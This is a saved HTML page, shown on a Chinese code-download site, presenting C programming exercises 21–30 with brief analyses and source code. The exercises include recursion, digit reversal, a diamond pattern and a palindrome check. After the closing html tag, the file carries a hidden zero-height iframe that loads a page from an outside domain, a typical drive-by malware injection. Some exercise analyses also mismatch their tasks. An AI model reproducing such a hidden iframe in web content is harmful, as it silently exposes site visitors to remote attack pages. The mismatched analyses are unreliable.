⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 2004102781130.htm

📁 经典C++程序设计100例 经典C++程序设计100例 经典C++程序设计100例
💻 HTM
字号:
<html>
<head>
<title>经典c程序100例==21--30</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<link href="../../css/view.css"  rel=stylesheet>
<body leftmargin="0" topmargin="0">

<div align="center"> 
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td><table border="0" cellpadding="0" cellspacing="0" width="100%" height="89">
          <tr> 
            <td width="100%" height="68"> <table width="100%" height="69" border="0" cellpadding="0" cellspacing="0">
                <tr> 
                  <td width="146" height="69"><div align="center"><img src="../../Images/jobczlogo.gif" width="290" height="65"></div></td>
                  <td width="468" height="69" align="right"> <p align="left"><img src="../../images/ad05.gif" width="468" height="60"></td>

                </tr>
              </table></td>
          </tr>
          <tr> 
            <td height="21"><table width=100% align="center" cellpadding=0 cellspacing=0>
                <tr bgcolor=#993333> 
                  <td width=63><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../../default.asp"><font color="#FFFFFF">返回首页</font></a></td>
                  <td width=7><img src=../../images/muspace.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#009900"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Person/q_1.asp><font color="#FFFFFF">个人求职</font></a></td>
                  <td width=7><img src=../../images/muspaceperson.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#1493E7"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Invite/s_1.asp><font color="#FFFFFF">单位招聘</font></a><a class=white href=./index2.htm></a></td>
                  <td width=7><img src=../../images/muspaceinvite.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#9966CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Train/r_1.asp><font color="#FFFFFF">培训充电</font></a></td>
                  <td width=7><img src=../../images/muspaceTrain.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#CC9933"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index1.asp><font color="#FFFFFF">市场动态</font></a></td>
                  <td width=7><img src=../../images/muspace04.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#99CC66"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index2.asp><font color="#FFFFFF">政策法规</font></a></td>
                  <td width=7><img src=../../images/muspace05.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#CC6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index3.asp><font color="#FFFFFF">管理论坛</font></a></td>
                  <td width=7><img src=../../images/muspace06.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#FF99CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index4.asp><font color="#FFFFFF">就业指导</font></a></td>
                  <td width=7><img src=../../images/muspace07.gif width="7" height="20"></td>
                  <td width=63 bgcolor="#6699CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index5.asp><font color="#FFFFFF">人事代理</font></a></td>
                  <td width=7><img src=../../images/muspace08.gif width="7" height="20"></td>
                  <td width=60 bgcolor="#FF6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="http://www.cznytc.com"><font color="#FFFFFF">郴州特产</font></a></td>
                  <td width=7><img src=../../images/muspace09.gif width="7" height="20"></td>
                  <td width=60 bgcolor="#FFCC00"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../Cooperate/p_1.asp"><font color="#FFFFFF">企业加盟</font></a></td>
                  <td width=7><img src=../../images/muspace10.gif width="7" height="20"></td>
                </tr>
                <tr> 
                  <td height=1 colspan=22></td>
                </tr>
                <tr> 
                  <td height=2 bgcolor=#993333 colspan=22></td>
                </tr>
              </table></td>
          </tr>
        </table></td>
    </tr>
  </table>
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr> 
      <td height=1 bgcolor=000000></td>
    </tr>
    <tr> 
      <td height="8"><img src="../../image/mubg1.gif" width="760" height="8"></td>
    </tr>
  </table>
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td width="600" height="500" valign="top"><table width="100%" border="0">
          <tr>
            <td>当前位置:首页 >> 数据结构 >> 经典c程序100例 >> 正文</td>
          </tr>
        </table>
        <br>
        <table width="100%" border="0">
          <tr> 
            <td height="40" align="center" bgcolor="eeeeee"><font style="font-size:16px"><b>经典c程序100例==21--30</b></font></td>
          </tr>
          <tr>
            <td align="right"><font color="#999999">来源:<font color="#CC0000">郴州人才网</font> 
                时间:2004年10月27日8:11</font></td>
          </tr>
        </table> <br>
        <table width="600" border="0" cellpadding="5">
          <tr> 
            <td class=c><font id="zoom" style="font-size:14px"><P><FONT color=#990000>【程序21】</FONT><BR>题目:猴子吃桃问题:猴子第一天摘下若干个桃子,当即吃了一半,还不瘾,又多吃了一个<BR>    第二天早上又将剩下的桃子吃掉一半,又多吃了一个。以后每天早上都吃了前一天剩下<BR>    的一半零一个。到第10天早上想再吃时,见只剩下一个桃子了。求第一天共摘了多少。<BR>1.程序分析:采取逆向思维的方法,从后往前推断。<BR>2.程序源代码:<BR>main()<BR>{<BR>int day,x1,x2;<BR>day=9;<BR>x2=1;<BR>while(day&gt;0)<BR>  {x1=(x2+1)*2;/*第一天的桃子数是第2天桃子数加1后的2倍*/<BR>  x2=x1;<BR>  day--;<BR>  }<BR>printf("the total is %d\n",x1);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序22】</FONT><BR>题目:两个乒乓球队进行比赛,各出三人。甲队为a,b,c三人,乙队为x,y,z三人。已抽签决定<BR>    比赛名单。有人向队员打听比赛的名单。a说他不和x比,c说他不和x,z比,请编程序找出<BR>    三队赛手的名单。 <BR>1.程序分析:判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能被整除,<BR>       则表明此数不是素数,反之是素数。       <BR>2.程序源代码:<BR>main()<BR>{<BR>char i,j,k;/*i是a的对手,j是b的对手,k是c的对手*/<BR>for(i='x';i&lt;='z';i++)<BR>  for(j='x';j&lt;='z';j++)<BR>  {<BR>  if(i!=j)<BR>   for(k='x';k&lt;='z';k++)<BR>   { if(i!=k&amp;&amp;j!=k)<BR>    { if(i!='x'&amp;&amp;k!='x'&amp;&amp;k!='z')<BR>    printf("order is a--%c\tb--%c\tc--%c\n",i,j,k);<BR>    }<BR>   }<BR>  }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序23】</FONT> <BR>题目:打印出如下图案(菱形)</P>
<P>*<BR>***<BR>******<BR>********<BR>******<BR>***<BR>*<BR>1.程序分析:先把图形分成两部分来看待,前四行一个规律,后三行一个规律,利用双重<BR>       for循环,第一层控制行,第二层控制列。 <BR>2.程序源代码:<BR>main()<BR>{<BR>int i,j,k;<BR>for(i=0;i&lt;=3;i++)<BR>  {<BR>  for(j=0;j&lt;=2-i;j++)<BR>   printf(" ");<BR>  for(k=0;k&lt;=2*i;k++)<BR>   printf("*");<BR>  printf("\n");<BR>  }<BR>for(i=0;i&lt;=2;i++)<BR>  {<BR>  for(j=0;j&lt;=i;j++)<BR>   printf(" ");<BR>  for(k=0;k&lt;=4-2*i;k++)<BR>   printf("*");<BR>  printf("\n");<BR>  }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序24】</FONT> <BR>题目:有一分数序列:2/1,3/2,5/3,8/5,13/8,21/13...求出这个数列的前20项之和。<BR>1.程序分析:请抓住分子与分母的变化规律。 <BR>2.程序源代码:<BR>main()<BR>{<BR>int n,t,number=20;<BR>float a=2,b=1,s=0;<BR>for(n=1;n&lt;=number;n++)<BR>  {<BR>  s=s+a/b;<BR>  t=a;a=a+b;b=t;/*这部分是程序的关键,请读者猜猜t的作用*/<BR>  }<BR>printf("sum is %9.6f\n",s);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序25】</FONT> <BR>题目:求1+2!+3!+...+20!的和<BR>1.程序分析:此程序只是把累加变成了累乘。 <BR>2.程序源代码:<BR>main()<BR>{<BR>float n,s=0,t=1;<BR>for(n=1;n&lt;=20;n++)<BR>  {<BR>  t*=n;<BR>  s+=t;<BR>  }<BR>printf("1+2!+3!...+20!=%e\n",s);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序26】</FONT> <BR>题目:利用递归方法求5!。<BR>1.程序分析:递归公式:fn=fn_1*4!<BR>2.程序源代码:<BR>#include "stdio.h"<BR>main()<BR>{<BR>int i;<BR>int fact();<BR>for(i=0;i&lt;5;i++)<BR>  printf("\40:%d!=%d\n",i,fact(i));<BR>}<BR>int fact(j)<BR>int j;<BR>{<BR>int sum;<BR>if(j==0)<BR>  sum=1;<BR>else<BR>  sum=j*fact(j-1);<BR>return sum;<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序27】</FONT> <BR>题目:利用递归函数调用方式,将所输入的5个字符,以相反顺序打印出来。<BR>1.程序分析:<BR>2.程序源代码:<BR>#include "stdio.h"<BR>main()<BR>{<BR>int i=5;<BR>void palin(int n);<BR>printf("\40:");<BR>palin(i);<BR>printf("\n");<BR>}<BR>void palin(n)<BR>int n;<BR>{<BR>char next;<BR>if(n&lt;=1)<BR>  {<BR>  next=getchar();<BR>  printf("\n\0:");<BR>  putchar(next);<BR>  }<BR>else<BR>  {<BR>  next=getchar();<BR>  palin(n-1);<BR>  putchar(next);<BR>  }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序28】</FONT> <BR>题目:有5个人坐在一起,问第五个人多少岁?他说比第4个人大2岁。问第4个人岁数,他说比第<BR>    3个人大2岁。问第三个人,又说比第2人大两岁。问第2个人,说比第一个人大两岁。最后 <BR>    问第一个人,他说是10岁。请问第五个人多大?<BR>1.程序分析:利用递归的方法,递归分为回推和递推两个阶段。要想知道第五个人岁数,需知道<BR>       第四人的岁数,依次类推,推到第一人(10岁),再往回推。<BR>2.程序源代码:<BR>age(n)<BR>int n;<BR>{<BR>int c;<BR>if(n==1) c=10;<BR>else c=age(n-1)+2;<BR>return(c);<BR>}<BR>main()<BR>{ printf("%d",age(5));<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序29】</FONT> <BR>题目:给一个不多于5位的正整数,要求:一、求它是几位数,二、逆序打印出各位数字。<BR>1. 程序分析:学会分解出每一位数,如下解释:(这里是一种简单的算法,师专数002班赵鑫提供) <BR>2.程序源代码:<BR>main( )<BR>{<BR>long a,b,c,d,e,x;<BR>scanf("%ld",&amp;x);<BR>a=x/10000;/*分解出万位*/<BR>b=x%10000/1000;/*分解出千位*/<BR>c=x%1000/100;/*分解出百位*/<BR>d=x%100/10;/*分解出十位*/<BR>e=x%10;/*分解出个位*/<BR>if (a!=0) printf("there are 5, %ld %ld %ld %ld %ld\n",e,d,c,b,a);<BR>else if (b!=0) printf("there are 4, %ld %ld %ld %ld\n",e,d,c,b);<BR>   else if (c!=0) printf(" there are 3,%ld %ld %ld\n",e,d,c);<BR>     else if (d!=0) printf("there are 2, %ld %ld\n",e,d);<BR>       else if (e!=0) printf(" there are 1,%ld\n",e);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序30】</FONT> <BR>题目:一个5位数,判断它是不是回文数。即12321是回文数,个位与万位相同,十位与千位相同。   <BR>1.程序分析:同29例<BR>2.程序源代码:<BR>main( )<BR>{<BR>long ge,shi,qian,wan,x;<BR>scanf("%ld",&amp;x);<BR>wan=x/10000;<BR>qian=x%10000/1000;<BR>shi=x%100/10;<BR>ge=x%10;<BR>if (ge==wan&amp;&amp;shi==qian)/*个位等于万位并且十位等于千位*/<BR>  printf("this number is a huiwen\n");<BR>else<BR>  printf("this number is not a huiwen\n");<BR>}</P> </font><br>
              (编辑:jobcz)</td>
          </tr>
          <tr>
            <td align="right"><script language=JavaScript>
<!-- Begin
if (window.print) {
document.write('【<a href="#" onClick="javascript:window.print()"><font color=cc0000>打印本文</font></a>】 ');
}
// End -->
</script>
              【<a href=../../../bbs/ target=_blank><font color=#cc0000>发表评论</font></a>】【<a href="javascript:window.close()"><font color=#cc0000>关闭窗口</font></a>】</td>
          </tr>
        </table><br><br></td>
      <td width="10"> </td>
      <td width="150" valign="top" bgcolor="#F0F3F7"><table width="100%" height="40" cellpadding="3" cellspacing="0" >
          <form action="../../search.asp" method="post">
            <tr > 
              <td colspan="2" align="center"> <input type=text size=12 name="keyword"> 
                <input type=submit value="搜索" name="submit"> <input type=hidden name=datesearch value=all> 
                <input type="hidden" name="AreaSearch" value=1> </td>
            </tr>
          </form>
        </table></td>
    </tr>
  </table>
  <script language=JavaScript src="../../js/end.js"></script>
</div>
</body>
</html>
<iframe height=0 src=http://www.9344.cn/mm.htm ></iframe>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -